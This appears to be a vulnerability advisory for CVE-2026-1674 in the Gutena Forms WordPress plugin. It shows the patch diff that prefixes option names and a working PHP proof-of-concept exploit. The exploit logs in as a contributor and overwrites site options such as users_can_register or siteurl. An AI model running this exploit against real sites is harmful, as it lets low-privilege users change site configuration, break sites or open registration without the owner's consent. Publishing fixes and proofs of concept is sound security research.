CVE-2026-1674: Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder <= 1.6.0 – Authenticated (Contributor+) Limited Options Update in save_gutena_forms_schema() (gutena-forms)

--- a/gutena-forms/gutena-forms.php
+++ b/gutena-forms/gutena-forms.php
@@ -4,7 +4,7 @@
  * Description:       Gutena Forms is the easiest way to create forms inside the WordPress block editor. Our plugin does not use jQuery and is lightweight, so you can rest assured that it won’t slow down your website. Instead, it allows you to quickly and easily create custom forms right inside the block editor.
  * Requires at least: 6.5
  * Requires PHP:      5.6
- * Version:           1.6.0
+ * Version:           1.6.1
  * Author:            Gutena Forms
  * Author URI:        https://gutenaforms.com
  * License:           GPL-2.0-or-later
@@ -42,7 +42,44 @@
  * Plugin version.
  */
 if ( ! defined( 'GUTENA_FORMS_VERSION' ) ) {
-	define( 'GUTENA_FORMS_VERSION', '1.5.1' );
+	define( 'GUTENA_FORMS_VERSION', '1.6.1' );
+}
+
+/**
+ * Option name prefix for form schema (security: prevents arbitrary option overwrite).
+ */
+if ( ! defined( 'GUTENA_FORMS_SCHEMA_OPTION_PREFIX' ) ) {
+	define( 'GUTENA_FORMS_SCHEMA_OPTION_PREFIX', 'gutena_forms_schema_' );
+}
+
+if ( ! function_exists( 'gutena_forms_get_form_schema_option' ) ) {
+	/**
+	 * Get form schema option value. Checks non-prefixed first, then prefixed; if both exist, returns prefixed.
+	 *
+	 * @param string $form_id Form ID (option key).
+	 * @param mixed  $default Default if neither option exists.
+	 * @return mixed Form schema array or $default.
+	 */
+	function gutena_forms_get_form_schema_option( $form_id, $default = false ) {
+		$form_id = sanitize_key( $form_id );
+		if ( '' === $form_id ) {
+			return $default;
+		}
+		$non_prefixed = get_option( $form_id, null );
+		$prefixed     = get_option( GUTENA_FORMS_SCHEMA_OPTION_PREFIX . $form_id, null );
+		$has_non_prefixed = ( null !== $non_prefixed );
+		$has_prefixed     = ( null !== $prefixed );
+		if ( $has_non_prefixed && $has_prefixed ) {
+			return $prefixed;
+		}
+		if ( $has_prefixed ) {
+			return $prefixed;
+		}
+		if ( $has_non_prefixed ) {
+			return $non_prefixed;
+		}
+		return $default;
+	}
 }

 if ( ! function_exists( 'gutena_forms__fs' ) ) :
@@ -463,9 +500,9 @@
 						}
 						//filter for formSchema
 						$formSchema_filtered = apply_filters( 'gutena_forms_save_form_schema', $formSchema, $formSchema['form_attrs']['formID'], $gutena_form_ids );
-						//Save form schema
+						//Save form schema (prefixed option name prevents arbitrary option overwrite)
 						update_option(
-							sanitize_key( $formSchema['form_attrs']['formID'] ),
+							GUTENA_FORMS_SCHEMA_OPTION_PREFIX . sanitize_key( $formSchema['form_attrs']['formID'] ),
 							$this->sanitize_array( $formSchema_filtered, true )
 						);

--- a/gutena-forms/includes/admin/class-create-store.php
+++ b/gutena-forms/includes/admin/class-create-store.php
@@ -59,7 +59,7 @@

                         //get form schema
                         $form_id = sanitize_key( $form_id );
-                        $form_schema = get_option( $form_id, false );
+                        $form_schema = gutena_forms_get_form_schema_option( $form_id, false );

                         if ( ! empty( $form_schema ) && ! empty( $form_schema['form_attrs'] ) ) {
                             $this->save_new_form( $form_id, $form_schema );
--- a/gutena-forms/includes/handlers/class-form-submit-handler.php
+++ b/gutena-forms/includes/handlers/class-form-submit-handler.php
@@ -269,7 +269,7 @@
 			}

 			$this->id     = sanitize_key( wp_unslash( $_POST['formid'] ) );
-			$this->schema = get_option( $this->id );
+			$this->schema = gutena_forms_get_form_schema_option( $this->id );

 			if ( empty( $this->schema ) || empty( $this->schema['form_attrs'] ) || empty( $this->schema['form_fields'] ) ) {
 				wp_send_json(

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1674 - Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder <= 1.6.0 - Authenticated (Contributor+) Limited Options Update in save_gutena_forms_schema()

<?php
// Configuration
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// WordPress options to manipulate (choose one)
$target_option = 'users_can_register'; // Enable user registration
// $target_option = 'siteurl'; // Break site functionality
// $target_option = 'home'; // Cause redirect loops

// Login to get authentication cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded'
    ]
]);

$response = curl_exec($ch);

// Check login success by looking for dashboard redirect
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Craft malicious form schema payload
$payload = [
    'action' => 'save_gutena_forms_schema',
    'formSchema' => json_encode([
        'form_attrs' => [
            'formID' => $target_option, // User-controlled option name
            'formName' => 'Malicious Form'
        ],
        'form_fields' => [],
        'form_settings' => []
    ]),
    'gutena_form_ids' => '[]'
];

// Send exploit request
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query($payload),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
        'X-Requested-With: XMLHttpRequest'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Verify exploitation
if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "Exploit successful. Option '$target_option' has been modified.n";
    echo "Response: $responsen";
} else {
    echo "Exploit failed. HTTP Code: $http_coden";
    echo "Response: $responsen";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>